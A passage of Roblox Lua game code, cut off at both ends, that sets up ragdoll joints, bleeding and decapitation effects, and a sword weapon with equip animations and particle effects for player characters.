limbname.."RagdollConstraint" limbatt.Axis = Vector3.new(1,0,0) limbatt.SecondaryAxis = Vector3.new(0,1,0) local ballc = Instance.new('BallSocketConstraint',character) ballc.Name = "RightArmRagdollRig" ballc.Attachment0 = torsoatt ballc.Attachment1 = limbatt local part1 = character[limbname] if character:FindFirstChildOfClass('Humanoid').Health > 0 then local collidepart = Instance.new('Part',part1) collidepart.Size = part1.Size/1.5 collidepart.CanCollide = true collidepart.Name = "Collision" collidepart.Anchored = false collidepart.Transparency = 1 collidepart.CFrame = part1.CFrame collidepart:BreakJoints() local attachment0 = Instance.new('Attachment',part1) local attachment1 = Instance.new('Attachment',collidepart) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end end if character.Torso:FindFirstChild('Right Shoulder') then character.Torso:FindFirstChild('Right Shoulder'):Destroy() end elseif limbname == "Left Arm" and character:FindFirstChild("Left Arm") and character:FindFirstChild("Torso") and character.Torso:FindFirstChild("Left ArmRagdollConstraint") == nil and character[limbname]:FindFirstChild("Left ArmRagdollConstraint") == nil then local torsoatt = Instance.new('Attachment',character.Torso) torsoatt.Name = limbname.."RagdollConstraint" torsoatt.Position = Vector3.new(-1.45,0.768,-0.009) torsoatt.Axis = Vector3.new(1,0,0) torsoatt.SecondaryAxis = Vector3.new(0,1,0) local limbatt = Instance.new("Attachment",character[limbname]) limbatt.Position = Vector3.new(-0.086, 0.755, -0.007) limbatt.Name = limbname.."RagdollConstraint" limbatt.Axis = Vector3.new(1,0,0) limbatt.SecondaryAxis = Vector3.new(0,1,0) local ballc = Instance.new('BallSocketConstraint',character) ballc.Name = "LeftArmRagdollRig" ballc.Attachment0 = torsoatt ballc.Attachment1 = limbatt local part1 = character[limbname] if character:FindFirstChildOfClass('Humanoid').Health > 0 then local collidepart = Instance.new('Part',part1) collidepart.Size = part1.Size/1.5 collidepart.CanCollide = true collidepart.Name = "Collision" collidepart.Anchored = false collidepart.Transparency = 1 collidepart.CFrame = part1.CFrame collidepart:BreakJoints() local attachment0 = Instance.new('Attachment',part1) local attachment1 = Instance.new('Attachment',collidepart) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end end if character.Torso:FindFirstChild('Left Shoulder') then character.Torso:FindFirstChild('Left Shoulder'):Destroy() end elseif limbname == "Right Leg" and character:FindFirstChild("Right Leg") and character:FindFirstChild("Torso") and character.Torso:FindFirstChild("Right LegRagdollConstraint") == nil and character[limbname]:FindFirstChild("Right LegRagdollConstraint") == nil then stun(character) local torsoatt = Instance.new('Attachment',character.Torso) torsoatt.Name = limbname.."RagdollConstraint" torsoatt.Position = Vector3.new(0.45, -1.242, -0.009) torsoatt.Axis = Vector3.new(1,0,0) torsoatt.SecondaryAxis = Vector3.new(0,1,0) local limbatt = Instance.new("Attachment",character[limbname]) limbatt.Position = Vector3.new(-0.086, 0.755, -0.007) limbatt.Name = limbname.."RagdollConstraint" limbatt.Axis = Vector3.new(1,0,0) limbatt.SecondaryAxis = Vector3.new(0,1,0) local ballc = Instance.new('BallSocketConstraint',character) ballc.Name = "RightLegRagdollRig" ballc.Attachment0 = torsoatt ballc.Attachment1 = limbatt local part1 = character[limbname] if character:FindFirstChildOfClass('Humanoid').Health > 0 then local collidepart = Instance.new('Part',part1) collidepart.Size = part1.Size/1.5 collidepart.CanCollide = true collidepart.Name = "Collision" collidepart.Anchored = false collidepart.Transparency = 1 collidepart.CFrame = part1.CFrame collidepart:BreakJoints() local attachment0 = Instance.new('Attachment',part1) local attachment1 = Instance.new('Attachment',collidepart) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end end if character.Torso:FindFirstChild('Right Hip') then character.Torso:FindFirstChild('Right Hip'):Destroy() end elseif limbname == "Left Leg" and character:FindFirstChild("Left Leg") and character:FindFirstChild("Torso") and character.Torso:FindFirstChild("Left LegRagdollConstraint") == nil and character[limbname]:FindFirstChild("Left LegRagdollConstraint") == nil then stun(character) local torsoatt = Instance.new('Attachment',character.Torso) torsoatt.Name = limbname.."RagdollConstraint" torsoatt.Position = Vector3.new(-0.45, -1.242, -0.009) torsoatt.Axis = Vector3.new(1,0,0) torsoatt.SecondaryAxis = Vector3.new(0,1,0) local limbatt = Instance.new("Attachment",character[limbname]) limbatt.Position = Vector3.new(-0.086, 0.755, -0.007) limbatt.Name = limbname.."RagdollConstraint" limbatt.Axis = Vector3.new(1,0,0) limbatt.SecondaryAxis = Vector3.new(0,1,0) local ballc = Instance.new('BallSocketConstraint',character) ballc.Name = "LeftLegRagdollRig" ballc.Attachment0 = torsoatt ballc.Attachment1 = limbatt local part1 = character[limbname] if character:FindFirstChildOfClass('Humanoid').Health > 0 then local collidepart = Instance.new('Part',part1) collidepart.Size = part1.Size/1.5 collidepart.CanCollide = true collidepart.Name = "Collision" collidepart.Anchored = false collidepart.Transparency = 1 collidepart.CFrame = part1.CFrame collidepart:BreakJoints() local attachment0 = Instance.new('Attachment',part1) local attachment1 = Instance.new('Attachment',collidepart) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end end if character.Torso:FindFirstChild('Left Hip') then character.Torso:FindFirstChild('Left Hip'):Destroy() end elseif limbname == "Head" or limbname == "Torso" and character:FindFirstChild("Head") and character:FindFirstChild("Torso") and character.Head:FindFirstChild("Neck") == nil then if character:FindFirstChildOfClass('Humanoid') then character:FindFirstChildOfClass('Humanoid').Health = 0 end while character:FindFirstChildOfClass('Humanoid').Health > 0 do wait() end if character:FindFirstChild('HumanoidRootPart') then character.HumanoidRootPart:Destroy() end game:GetService('Debris'):AddItem(character,10) for _,child in next,character:GetChildren() do if child:IsA("Accoutrement") then for _,part in next,child:GetChildren() do if part:IsA("BasePart") then for _,c in pairs(part:GetChildren()) do if c:IsA('Weld') then c:Destroy() end end local attachment1 = part:FindFirstChildOfClass("Attachment") local attachment0 = getAttachment0(character,attachment1.Name) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end end end end end for i,v in pairs(character:GetChildren()) do if v:IsA('MeshPart') or v:IsA('BasePart') then for _,c in pairs(v:GetChildren()) do if c.Name == "Collision" then c:Destroy() end end end end if character.Torso:FindFirstChild('Neck') then character.Torso.Neck:Destroy() end if character:FindFirstChild('Torso') then local collidepart = Instance.new('Part',character.Torso) collidepart.Size = character.Torso.Size/1.5 collidepart.CanCollide = true collidepart.Name = "Collision" collidepart.Anchored = false collidepart.Transparency = 1 collidepart.CFrame = character.Torso.CFrame collidepart:BreakJoints() local attachment0 = Instance.new('Attachment',character.Torso) local attachment1 = Instance.new('Attachment',collidepart) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end end if character:FindFirstChild('Torso') and character:FindFirstChild('Head') then if character.Torso:FindFirstChild('NeckAttachment') == nil then local neck = Instance.new('Attachment',character.Torso) neck.Name = "NeckAttachment" neck.Position = Vector3.new(0, 1, 0) end ragdollJoint(character,character.Torso, character.Head, "NeckAttachment", "Hinge", { {"LimitsEnabled",true}; {"UpperAngle",50}; {"LowerAngle",-50}; }) end if attached ~= false then ragdollpart(character, "Right Leg") ragdollpart(character, "Left Leg") else pcall(function() local ayybleed = Instance.new('Part',character) ayybleed.Size = Vector3.new(character.Torso.Size.X,0.1,character.Torso.Size.Z) ayybleed.Transparency = 1 ayybleed.CanCollide = false ayybleed.CFrame = character.Torso.CFrame ayybleed:BreakJoints() local attachment1 = Instance.new('Attachment',ayybleed) attachment1.Position = Vector3.new(0,-character.Torso.Size.Y/2,0) attachment1.Orientation = Vector3.new(0, 0, -180) local attachment0 = Instance.new('Attachment',character.Torso) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end local bleedBLEED= coroutine.wrap(function() bleed(ayybleed) end) bleedBLEED() end) end ragdollpart(character, "Right Arm") ragdollpart(character, "Left Arm") end end) end function getAttachment0(character,attachmentName) for _,child in next,character:GetChildren() do local attachment = child:FindFirstChild(attachmentName) if attachment then return attachment end end end function ragdollpart(character,partname,attached,heded) if heded ~= false then local neck = Instance.new('Attachment',character.Head) neck.Name = "NeckAttachment" neck.Position = Vector3.new(0,-0.5,0) else local force = Instance.new('BodyForce',character.Head) force.Force = Vector3.new(0,500,0) game:GetService('Debris'):AddItem(force,0.25) pcall(function() local asdf = Instance.new('Attachment',character.Head) asdf.Position = Vector3.new(0,-character.Head.Size.Y/2,0) local last = asdf for i=1,14 do local bONE = Instance.new('Part',character) bONE.BrickColor = BrickColor.new('Institutional white') bONE.Size = Vector3.new(0.1,0.1,0.1) bONE.CFrame = character.Head.CFrame+(character.Head.CFrame.upVector*-(i/10)) local lole = Instance.new('Attachment',bONE) local hangurself = Instance.new('RopeConstraint',bONE) hangurself.Attachment0 = lole hangurself.Attachment1 = last hangurself.Visible = true hangurself.Thickness = 0.05 hangurself.Color = BrickColor.new('Bright red') hangurself.Length = 0.2 last = lole end local bleedee = Instance.new('Part',character.Head) bleedee.Size = Vector3.new(0.75,0.25,0.75) bleedee.CanCollide = false bleedee.Color = Frame_2.BackgroundColor3 bleedee.CFrame = character.Head.CFrame local mehs = Instance.new('CylinderMesh',bleedee) bleedee:BreakJoints() local attachment1 = Instance.new('Attachment',bleedee) attachment1.Position = Vector3.new(0,character.Head.Size.Y/2,0) attachment1.Orientation = Vector3.new(0,0,180) local attachment0 = Instance.new('Attachment',character.Head) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end spawn(function() bleed(bleedee) end) end) local thing = "Torso" if character:FindFirstChild(thing) == nil then thing = "UpperTorso" end pcall(function() local bleedee = Instance.new('Part',character[thing]) bleedee.Size = Vector3.new(0.75,0,0.75) bleedee.CanCollide = false bleedee.Color = Frame_2.BackgroundColor3 bleedee.CFrame = character[thing].CFrame local mehs = Instance.new('CylinderMesh',bleedee) bleedee:BreakJoints() local attachment1 = Instance.new('Attachment',bleedee) attachment1.Position = Vector3.new(0,-character[thing].Size.Y/2,0) attachment1.Orientation = Vector3.new(0,0,180) local attachment0 = Instance.new('Attachment',character[thing]) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end spawn(function() bleed(bleedee) end) end) end pcall(function() if workspace.PGSPhysicsSolverEnabled == false then workspace.PGSPhysicsSolverEnabled = true end end) if partname == "HumanoidRootPart" then if character:FindFirstChild('Torso') then partname = "Torso" else partname = "UpperTorso" end end if attached == false then if character:FindFirstChild('UpperTorso') then pcall(function() character.UpperTorso.WaistRigAttachment:Destroy() end) pcall(function() local ayybleed = Instance.new('Part',character) ayybleed.Size = Vector3.new(character.UpperTorso.Size.X,0,character.UpperTorso.Size.Z) ayybleed.Transparency = 1 ayybleed.CanCollide = false ayybleed.CFrame = character.UpperTorso.CFrame ayybleed:BreakJoints() ayybleed.Name = "ayybleed" local attachment1 = Instance.new('Attachment',ayybleed) attachment1.Position = Vector3.new(0,-character.UpperTorso.Size.Y/2,0) attachment1.Orientation = Vector3.new(0,0,180) local attachment0 = Instance.new('Attachment',character.UpperTorso) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end local bleedBLEED= coroutine.wrap(function() bleed(ayybleed) end) bleedBLEED() end) pcall(function() local ayybleed = Instance.new('Part',character) ayybleed.Size = Vector3.new(character.LowerTorso.Size.X-0.1,0.1,character.LowerTorso.Size.Z-0.1) ayybleed.Transparency = 1 ayybleed.CanCollide = false ayybleed.CFrame = character.LowerTorso.CFrame ayybleed:BreakJoints() ayybleed.Name = "ayybleed" local attachment1 = Instance.new('Attachment',ayybleed) attachment1.Position = Vector3.new(0,-character.LowerTorso.Size.Y/2,0) attachment1.Orientation = Vector3.new(0,0,0) local attachment0 = Instance.new('Attachment',character.LowerTorso) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end local bleedBLEED= coroutine.wrap(function() bleed(ayybleed) end) bleedBLEED() end) end pcall(function() local thang = "Torso" if character:FindFirstChild('UpperTorso') then thang = "UpperTorso" end local ayybleed = Instance.new('Part',character) ayybleed.Size = Vector3.new(character[thang].Size.X-0.1,0.1,character[thang].Size.Z-0.1) ayybleed.Color = Frame_2.BackgroundColor3 ayybleed.Material = Enum.Material.SmoothPlastic ayybleed.Name = "ayybleed" ayybleed.CanCollide = false ayybleed.Transparency = 0 ayybleed.CFrame = character[thang].CFrame ayybleed:BreakJoints() local attachment1 = Instance.new('Attachment',ayybleed) attachment1.Position = Vector3.new(0,(character[thang].Size.Y/2)-0.045,0) attachment1.Orientation = Vector3.new(0,0,0) local attachment0 = Instance.new('Attachment',character[thang]) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end end) pcall(function() local ree = character.LowerTorso local thang = "LowerTorso" local ayybleed = Instance.new('Part',character) ayybleed.Size = Vector3.new(character[thang].Size.X-0.1,0.1,character[thang].Size.Z-0.1) ayybleed.Color = Frame_2.BackgroundColor3 ayybleed.Material = Enum.Material.SmoothPlastic ayybleed.Name = "ayybleed" ayybleed.CanCollide = false ayybleed.Transparency = 0 ayybleed.CFrame = character[thang].CFrame ayybleed:BreakJoints() local attachment1 = Instance.new('Attachment',ayybleed) attachment1.Position = Vector3.new(0,(-character[thang].Size.Y/2)+0.045,0) attachment1.Orientation = Vector3.new(0,0,0) local attachment0 = Instance.new('Attachment',character[thang]) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end end) pcall(function() local ree = character["Right Leg"] local thang = "Right Leg" local ayybleed = Instance.new('Part',character) ayybleed.Size = Vector3.new(character[thang].Size.X-0.1,0.1,character[thang].Size.Z-0.1) ayybleed.Color = Frame_2.BackgroundColor3 ayybleed.Material = Enum.Material.SmoothPlastic ayybleed.Name = "ayybleed" ayybleed.CanCollide = false ayybleed.Transparency = 0 ayybleed.CFrame = character[thang].CFrame ayybleed:BreakJoints() local attachment1 = Instance.new('Attachment',ayybleed) attachment1.Position = Vector3.new(0,(-character[thang].Size.Y/2)+0.045,0) attachment1.Orientation = Vector3.new(0,0,0) local attachment0 = Instance.new('Attachment',character[thang]) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end end) pcall(function() local ree = character["Left Leg"] local thang = "Left Leg" local ayybleed = Instance.new('Part',character) ayybleed.Size = Vector3.new(character[thang].Size.X-0.1,0.1,character[thang].Size.Z-0.1) ayybleed.Color = Frame_2.BackgroundColor3 ayybleed.Material = Enum.Material.SmoothPlastic ayybleed.Name = "ayybleed" ayybleed.CanCollide = false ayybleed.Transparency = 0 ayybleed.CFrame = character[thang].CFrame ayybleed:BreakJoints() local attachment1 = Instance.new('Attachment',ayybleed) attachment1.Position = Vector3.new(0,(-character[thang].Size.Y/2)+0.045,0) attachment1.Orientation = Vector3.new(0,0,0) local attachment0 = Instance.new('Attachment',character[thang]) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end end) partname="Head" end if partname == "RightHand" or partname == "RightLowerArm" or partname == "RightUpperArm" then if character:FindFirstChild('RightLowerArm') and character:FindFirstChild('RightHand') then ragdollJoint(character,character.RightLowerArm, character.RightHand, "RightWrist", "Hinge", handProperties) end if character:FindFirstChild('UpperTorso') and character:FindFirstChild('RightUpperArm') then ragdollJoint(character, character.UpperTorso, character["RightUpperArm"], "RightShoulder", "BallSocket") end if character:FindFirstChild('RightUpperArm') and character:FindFirstChild('RightLowerArm') then ragdollJoint(character, character.RightUpperArm, character.RightLowerArm, "RightElbow", "BallSocket") end elseif partname == "LeftHand" or partname == "LeftLowerArm" or partname == "LeftUpperArm" then if character:FindFirstChild('LeftLowerArm') and character:FindFirstChild('LeftHand') then ragdollJoint(character,character.LeftLowerArm, character.LeftHand, "LeftWrist", "Hinge", handProperties) end if character:FindFirstChild('UpperTorso') and character:FindFirstChild('LeftUpperArm') then ragdollJoint(character, character.UpperTorso, character["LeftUpperArm"], "LeftShoulder", "BallSocket") end if character:FindFirstChild('LeftUpperArm') and character:FindFirstChild('LeftLowerArm') then ragdollJoint(character, character.LeftUpperArm, character.LeftLowerArm, "LeftElbow", "BallSocket") end elseif partname == "RightFoot" or partname == "RightUpperLeg" or partname == "RightLowerLeg" then stun(character) if character:FindFirstChild('RightUpperLeg') and character:FindFirstChild('RightLowerLeg') then ragdollJoint(character,character.RightUpperLeg, character.RightLowerLeg, "RightKnee", "Hinge", shinProperties) end if character:FindFirstChild('RightLowerLeg') and character:FindFirstChild('RightFoot') then ragdollJoint(character,character.RightLowerLeg, character.RightFoot, "RightAnkle", "Hinge", footProperties) end if character:FindFirstChild('LowerTorso') and character:FindFirstChild('RightUpperLeg') then ragdollJoint(character,character.LowerTorso, character.RightUpperLeg, "RightHip", "BallSocket") end elseif partname == "LeftFoot" or partname == "LeftUpperLeg" or partname == "LeftLowerLeg" then stun(character) if character:FindFirstChild('LeftUpperLeg') and character:FindFirstChild('LeftLowerLeg') then ragdollJoint(character,character.LeftUpperLeg, character.LeftLowerLeg, "LeftKnee", "Hinge", shinProperties) end if character:FindFirstChild('LeftLowerLeg') and character:FindFirstChild('LeftFoot') then ragdollJoint(character,character.LeftLowerLeg, character.LeftFoot, "LeftAnkle", "Hinge", footProperties) end if character:FindFirstChild('LowerTorso') and character:FindFirstChild('LeftUpperLeg') then ragdollJoint(character,character.LowerTorso, character.LeftUpperLeg, "LeftHip", "BallSocket") end elseif partname == "Head" or partname == "UpperTorso" or partname == "LowerTorso" then if character:FindFirstChildOfClass('Humanoid') and character:FindFirstChildOfClass('Humanoid').RigType == Enum.HumanoidRigType.R15 then if character:FindFirstChildOfClass('Humanoid') then character:FindFirstChildOfClass('Humanoid').Health = 0 end if character:FindFirstChild('HumanoidRootPart') then character.HumanoidRootPart:Destroy() end while character:FindFirstChildOfClass('Humanoid').Health > 0 do wait() end game:GetService('Debris'):AddItem(character,10) for _,child in next,character:GetChildren() do if child:IsA("Accoutrement") then for _,part in next,child:GetChildren() do if part:IsA("BasePart") then for _,c in pairs(part:GetChildren()) do if c:IsA('Weld') then c:Destroy() end end local attachment1 = part:FindFirstChildOfClass("Attachment") local attachment0 = getAttachment0(character,attachment1.Name) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end end end end end for i,v in pairs(character:GetChildren()) do if v:IsA('MeshPart') or v:IsA('BasePart') then for _,c in pairs(v:GetChildren()) do if c.Name == "Collision" then c:Destroy() end end end end if heded == false then pcall(function() local asdf = Instance.new('Attachment',character.Head) asdf.Position = Vector3.new(0,-character.Head.Size.Y/2,0) local last = asdf character.Head.Neck:Destroy() character.Head.NeckRigAttachment:Destroy() character.UpperTorso:FindFirstChild('NeckAttachment'):Destroy() end) end if character:FindFirstChild('UpperTorso') and character:FindFirstChild('LowerTorso') then ragdollJoint(character,character.LowerTorso, character.UpperTorso, "Waist", "BallSocket", { {"LimitsEnabled",true}; {"UpperAngle",5}; {"Radius",5}; }) end if character:FindFirstChild('UpperTorso') and character:FindFirstChild('Head') then ragdollJoint(character,character.UpperTorso, character.Head, "Neck", "Hinge", { {"LimitsEnabled",true}; {"UpperAngle",50}; {"LowerAngle",-50}; }) end local handProperties = { {"LimitsEnabled", true}; {"UpperAngle",0}; {"LowerAngle",0}; } if character:FindFirstChild('LeftLowerArm') and character:FindFirstChild('LeftHand') then ragdollJoint(character,character.LeftLowerArm, character.LeftHand, "LeftWrist", "Hinge", handProperties) end if character:FindFirstChild('RightLowerArm') and character:FindFirstChild('RightHand') then ragdollJoint(character,character.RightLowerArm, character.RightHand, "RightWrist", "Hinge", handProperties) end local shinProperties = { {"LimitsEnabled", true}; {"UpperAngle", 0}; {"LowerAngle", -75}; } if character:FindFirstChild('LeftUpperLeg') and character:FindFirstChild('LeftLowerLeg') then ragdollJoint(character,character.LeftUpperLeg, character.LeftLowerLeg, "LeftKnee", "Hinge", shinProperties) end if character:FindFirstChild('RightUpperLeg') and character:FindFirstChild('RightLowerLeg') then ragdollJoint(character,character.RightUpperLeg, character.RightLowerLeg, "RightKnee", "Hinge", shinProperties) end local footProperties = { {"LimitsEnabled", true}; {"UpperAngle", 15}; {"LowerAngle", -45}; } if character:FindFirstChild('LeftLowerLeg') and character:FindFirstChild('LeftFoot') then ragdollJoint(character,character.LeftLowerLeg, character.LeftFoot, "LeftAnkle", "Hinge", footProperties) end if character:FindFirstChild('RightLowerLeg') and character:FindFirstChild('RightFoot') then ragdollJoint(character,character.RightLowerLeg, character.RightFoot, "RightAnkle", "Hinge", footProperties) end if character:FindFirstChild('UpperTorso') and character:FindFirstChild('LeftUpperArm') then ragdollJoint(character,character.UpperTorso, character.LeftUpperArm, "LeftShoulder", "BallSocket") end if character:FindFirstChild('LeftLowerArm') and character:FindFirstChild('LeftUpperArm') then ragdollJoint(character,character.LeftUpperArm, character.LeftLowerArm, "LeftElbow", "BallSocket") end if character:FindFirstChild('UpperTorso') and character:FindFirstChild('RightUpperArm') then ragdollJoint(character,character.UpperTorso, character.RightUpperArm, "RightShoulder", "BallSocket") end if character:FindFirstChild('RightUpperArm') and character:FindFirstChild('RightLowerArm') then ragdollJoint(character,character.RightUpperArm, character.RightLowerArm, "RightElbow", "BallSocket") end if character:FindFirstChild('LowerTorso') and character:FindFirstChild('LeftUpperLeg') then ragdollJoint(character,character.LowerTorso, character.LeftUpperLeg, "LeftHip", "BallSocket") end if character:FindFirstChild('LowerTorso') and character:FindFirstChild('RightUpperLeg') then ragdollJoint(character,character.LowerTorso, character.RightUpperLeg, "RightHip", "BallSocket") end if character:FindFirstChild('HumanoidRootPart') then character.HumanoidRootPart:Destroy() end else R6ragdollJoint(character,partname,attached,heded) end else R6ragdollJoint(character,partname,attached,heded) end end function grow(weld,part,endsize,endpos,amntime) local start = weld.C1 local parent = weld.Parent local startsize = part.Size local particl = Instance.new("ParticleEmitter") particl.LightEmission = 3 particl.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.fromRGB(42, 0, 255)), ColorSequenceKeypoint.new(0.1, Color3.fromRGB(248, 153, 0)), ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 255, 0))}) particl.LightInfluence = 0.75 particl.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 0)}) particl.Lifetime = NumberRange.new(0.1, 1) particl.Rate = 50 particl.RotSpeed = NumberRange.new(300, 300) particl.Speed = NumberRange.new(0, 1) particl.SpreadAngle = Vector2.new(90, 90) particl.Parent = part for i=1,amntime*100 do weld.C1 = start:lerp(endpos,i/(amntime*100)) part.Size = startsize:lerp(endsize,i/(amntime*100)) weld.Parent = parent wait(0.01) end particl.Enabled = false end function lerp(weld,startpos,endpos,amntime,longatend) local waited = 0 for i=1,amntime*100 do if longatend == true then startpos = weld.C0 end weld.C0 = startpos:lerp(endpos,i/(amntime*100)) wait(0.01) waited=waited+0.01 end end function spawned() local usable = true local working = false local mode = "kill" local equipped = false local char = player.Character local blademode = "handle" local swinging = false local gettingeem = false local MOAN = false local sounding = false local SLESH = false local goteem = nil local grabbing = false local grabbed = nil local grabweld = nil local aidsificating = nil player.CharacterAdded:connect(function() if usable then usable = false end end) if char == nil then return end while char:FindFirstChildOfClass('Humanoid') == nil or char:FindFirstChild('Head') == nil do wait() end local badass = Instance.new('Sound',char.Head) badass.Name = 'Badass' badass.EmitterSize = player.CameraMaxZoomDistance+1 badass.MaxDistance = player.CameraMaxZoomDistance+1 badass.Volume = 10 badass.Looped=true badass.SoundId = 'rbxassetid://428902535' local handle = Instance.new("Part", char) handle.BrickColor = BrickColor.new("Really black") handle.Material = "Metal" handle.CanCollide = false handle.Anchored = false handle.Shape = "Cylinder" handle.Size = Vector3.new(1.1, 0.3, 0.3) handle.BackSurface = "SmoothNoOutlines" handle.BottomSurface = "SmoothNoOutlines" handle.FrontSurface = "SmoothNoOutlines" handle.LeftSurface = "SmoothNoOutlines" handle.RightSurface = "SmoothNoOutlines" handle.TopSurface = "SmoothNoOutlines" handle.Name = "handle" local hweld = Instance.new("Weld", char.Torso) hweld.Part0 = char.Torso hweld.Part1 = handle hweld.C0 = CFrame.new(1, -0.8, 0) * CFrame.Angles(0, math.rad(90), 0) local rdd = false function oogabooga() if rdd == false then rdd = true pcall(function() ragdollpart(char,"Right Arm") ragdollpart(char,"Right Leg") ragdollpart(char,"Left Arm") ragdollpart(char,"Left Leg") end) pcall(function() ragdollpart(char,"RightUpperArm") ragdollpart(char,"RightUpperLeg") ragdollpart(char,"LeftUpperArm") ragdollpart(char,"LeftUpperLeg") end) unstun(char) for i,v in pairs(char:GetChildren()) do v.ChildAdded:connect(function(child) if rdd == true then if child.Name ~= "Neck" and child.Name ~= "RootJoint" and child.Name ~= "Root" and (child:IsA('Motor6D') or child:IsA('Weld')) then if child ~= grabweld then spawn(function() wait() child:Destroy() end) end end end end) if string.find(string.lower(v.Name),'leg') then if v:FindFirstChild('Collision') then v:FindFirstChild('Collision'):Destroy() end end end else rdd = false for i,v in pairs(char:GetChildren()) do if v:IsA('HingeConstraint') or v:IsA('BallSocketConstraint') then v:Destroy() elseif v:IsA('BasePart') then if v:FindFirstChild('Collision') then v.Collision:Destroy() end for a,c in pairs(v:GetChildren()) do if string.find(string.lower(c.Name),"ragdoll") then c:Destroy() end end end end pcall(function() local ra = rightclone:Clone() ra.Parent = char.Torso ra.Part0 = char.Torso ra.Part1 = char["Right Arm"] end) pcall(function() local la = leftclone:Clone() la.Parent = char.Torso la.Part0 = char.Torso la.Part1 = char["Left Arm"] end) pcall(function() local ll = leftlegclone:Clone() ll.Parent = char.Torso ll.Part0 = char.Torso ll.Part1 = char["Left Leg"] end) pcall(function() local rl = rightlegclone:Clone() rl.Parent = char.Torso rl.Part0 = char.Torso rl.Part1 = char["Right Leg"] end) end end function getrid() if grabbed then release() end blademode = "handle" for _,ree in pairs(handle:GetChildren()) do if ree:IsA('BasePart') then local part = Instance.new('Part',workspace) part.CFrame = ree.CFrame part.Anchored = true part.CanCollide = false part.Size = ree.Size part.Transparency = 1 ree:Destroy() local pe2 = Instance.new("ParticleEmitter") pe2.Acceleration = Vector3.new(0, 1, 0) pe2.Lifetime = NumberRange.new(0.1, 0.2) pe2.Speed = NumberRange.new(0.5) pe2.Rate = 20000 pe2.RotSpeed = NumberRange.new(-30, 30) pe2.Rotation = NumberRange.new(0, 360) pe2.Size = NumberSequence.new({ NumberSequenceKeypoint.new(0, part.Size.X*2, 0), NumberSequenceKeypoint.new(1, part.Size.X*2, 0), }) pe2.Texture = "rbxassetid://244221440" pe2.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0.9, 0), NumberSequenceKeypoint.new(1, 0.9, 0) }) pe2.ZOffset = 5 pe2.VelocitySpread = 360 pe2.Parent = part pe2.Enabled = true local coru=coroutine.wrap(function() wait(0.2) pe2.Enabled = false game:GetService('Debris'):AddItem(part,0.5) end) coru() else ree:Remove() end end end function equip() equipped = true working = true if char.Torso:FindFirstChild("Right Shoulder") then char.Torso:FindFirstChild("Right Shoulder"):Destroy() end local weld = Instance.new('Weld', char.Torso) weld.Name = "Lerping" weld.Part0 = char["Right Arm"] weld.Part1 = char.Torso weld.C0 = CFrame.new(-1.5, 0, 0) * CFrame.Angles(0, 0, 0) lerp(weld,weld.C0,CFrame.new(-1.3, -0.5, 0) * CFrame.Angles(0, 0, math.rad(15)),0.12,true) wait(0.1) hweld.Part0 = char["Right Arm"] hweld.C0 = 